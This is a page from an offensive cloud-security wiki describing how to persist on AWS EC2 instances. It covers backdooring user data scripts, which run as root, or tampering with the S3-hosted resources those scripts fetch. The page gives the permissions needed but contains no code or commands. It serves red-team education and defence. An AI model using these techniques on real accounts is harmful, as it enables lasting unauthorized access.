class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> User Data Script Persistence </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> User Data Script Persistence </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#modify-the-user-data-script class=md-nav__link> <span class=md-ellipsis> Modify the User Data Script </span> </a> <nav class=md-nav aria-label="Modify the User Data Script"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#modify-a-resource-called-by-the-script class=md-nav__link> <span class=md-ellipsis> Modify a Resource Called by the Script </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#modify-the-user-data-script class=md-nav__link> <span class=md-ellipsis> Modify the User Data Script </span> </a> <nav class=md-nav aria-label="Modify the User Data Script"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#modify-a-resource-called-by-the-script class=md-nav__link> <span class=md-ellipsis> Modify a Resource Called by the Script </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/user_data_script_persistence.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>User Data Script Persistence</h1> <p>When using EC2 instances a common design pattern is to define a <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html>user data</a> script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download a config, etc. Additionally these scripts are run as root or System which makes them even more useful. Should we gain access to an EC2 instance we may be able to persist by abusing user data scripts via two different methods.</p> <h2 id=modify-the-user-data-script>Modify the User Data Script<a class=headerlink href=#modify-the-user-data-script title="Permanent link">&para;</a></h2> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 6c1.4 0 2.8 1.1 2.8 2.5V11c.6 0 1.2.6 1.2 1.3v3.5c0 .6-.6 1.2-1.3 1.2H9.2c-.6 0-1.2-.6-1.2-1.3v-3.5c0-.6.6-1.2 1.2-1.2V9.5C9.2 8.1 10.6 7 12 7m0 1.2c-.8 0-1.5.5-1.5 1.3V11h3V9.5c0-.8-.7-1.3-1.5-1.3"/></svg></span> <strong>Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/modify-instance-attribute.html>modify-instance-attribute</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 20v2.97h-2V20h-3v-2h3v-3h2v3h3v2zM12 1l9 4v6c0 .9-.1 1.78-.29 2.65A5.8 5.8 0 0 0 18 13a6 6 0 0 0-6 6c0 1.36.45 2.62 1.22 3.62L12 23c-5.16-1.26-9-6.45-9-12V5z"/></svg></span> <strong>Recommended but not Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/start-instances.html>ec2:StartInstances</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/describe-instances.html>ec2:DescribeInstances</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/stop-instances.html>ec2:StopInstances</a></li> </ul> </li> </ul> </div> <p>If we have permission to directly modify the user data scripts, we can potentially persist by adding our own backdoor to it. To do this, we must stop the instance because user data scripts can only be modified when the instance is stopped. You could theoretically wait for this to happen naturally, have a script that constantly tries to modify it, or stop it yourself if you have permissions to do so.</p> <p>The steps to modify user data scripts can be found <a href=https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/#ec2modifyinstanceattribute>here</a>.</p> <h3 id=modify-a-resource-called-by-the-script>Modify a Resource Called by the Script<a class=headerlink href=#modify-a-resource-called-by-the-script title="Permanent link">&para;</a></h3> <p>In situations where we cannot modify the user data script itself, we may be able to modify a resource called by the script. Say for example a script is downloaded by an S3 bucket, we may be able to add our backdoor to it.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 20, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg 